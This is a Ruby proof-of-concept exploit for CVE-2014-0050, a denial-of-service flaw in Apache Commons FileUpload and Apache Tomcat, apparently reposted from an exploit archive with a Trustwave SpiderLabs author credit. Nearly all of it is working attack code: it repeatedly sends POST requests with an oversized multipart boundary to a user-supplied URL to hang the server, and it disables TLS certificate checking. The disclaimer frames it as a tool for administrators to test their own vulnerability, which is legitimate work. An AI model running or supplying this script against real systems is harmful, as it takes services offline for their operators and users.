Apache Commons FileUpload and Apache Tomcat DoS Exploit

#################################################################################
# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service   #
#                                                                               #
# Author: Oren Hafif, Trustwave SpiderLabs Research                             #
# This is a Proof of Concept code that was created for the sole purpose         #
# of assisting system administrators in evaluating whether their applications   #
# are vulnerable to this issue or not                                           #
#                                                                               #
# Please use responsibly.                                                       #
#################################################################################
 
 
require 'net/http'
require 'net/https'
require 'optparse'
require 'openssl'
 
 
options = {}
 
opt_parser = OptionParser.new do |opt|
  opt.banner = "Usage: ./CVE-2014-0050.rb [OPTIONS]"
  opt.separator  ""
  opt.separator  "Options"
  opt.on("-u","--url URL","The url of the Servlet/JSP to test for Denial of Service") do |url|
    options[:url] = url
  end
 
  opt.on("-n","--number_of_requests NUMBER_OF_REQUSETS","The number of requests to send to the server. The default value is 10") do |number_of_requests|
    options[:number_of_requests] = number_of_requests
  end
 
  opt.on("-h","--help","help") do
    puts ""
    puts "#################################################################################"
    puts "# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service   #"
    puts "#                                                                               #"
    puts "# Author: Oren Hafif, Trustwave SpiderLabs Research                             #"
    puts "# This is a Proof of Concept code that was created for the sole purpose         #"
    puts "# of assisting system administrators in evaluating whether or not               #"
    puts "# their applications are vulnerable to this issue.                              #"
    puts "#                                                                               #"
    puts "# Please use responsibly.                                                       #"
    puts "#################################################################################"
    puts ""
    puts opt_parser
    puts ""
   
    exit
  end
end
 
opt_parser.parse!
 
 
uri = ""
begin
    uri = URI.parse(options[:url])
rescue Exception => e
    puts ""
    puts "ERROR: Invalid URL was entered #{options[:url]}"
    puts ""
    puts opt_parser
    exit
end
 
number_of_requests = 10;
if(options[:number_of_requests] != nil)
    begin
        number_of_requests = Integer( options[:number_of_requests] )
        throw Exception.new if number_of_requests <= 0
    rescue Exception => e
        puts e
        puts ""
        puts "ERROR: Invalid NUMBER_OF_REQUSETS was entered #{options[:number_of_requests]}"
        puts ""
        puts opt_parser
        exit
    end
end
 
#uri = URI.parse(uri)
 
 
puts ""
puts "WARNING: Usage of this tool for attack purposes is forbidden - press Ctrl-C now to abort..."
i=10
i.times { print "#{i.to_s}...";sleep 1; i-=1;}
puts ""
 
 
number_of_requests.times do
    begin
    puts "Request Launched"
    https = Net::HTTP.new(uri.host,uri.port)
    https.use_ssl = uri.scheme=="https"
    https.verify_mode = OpenSSL::SSL::VERIFY_NONE
    req = Net::HTTP::Post.new(uri.path)
    req.add_field("Content-Type","multipart/form-data; boundary=#{"a"*4092}")
    req.add_field("lf-None-Match","59e532f501ac13174dd9c488f897ee75")
    req.body = "b"*4097
    https.read_timeout = 1
    res = https.request(req)
    rescue Timeout::Error=>e
        puts "Timeout - continuing DoS..."
    rescue Exception=>e
        puts e.inspect
    end
end

Copyright ©2024 Exploitalert.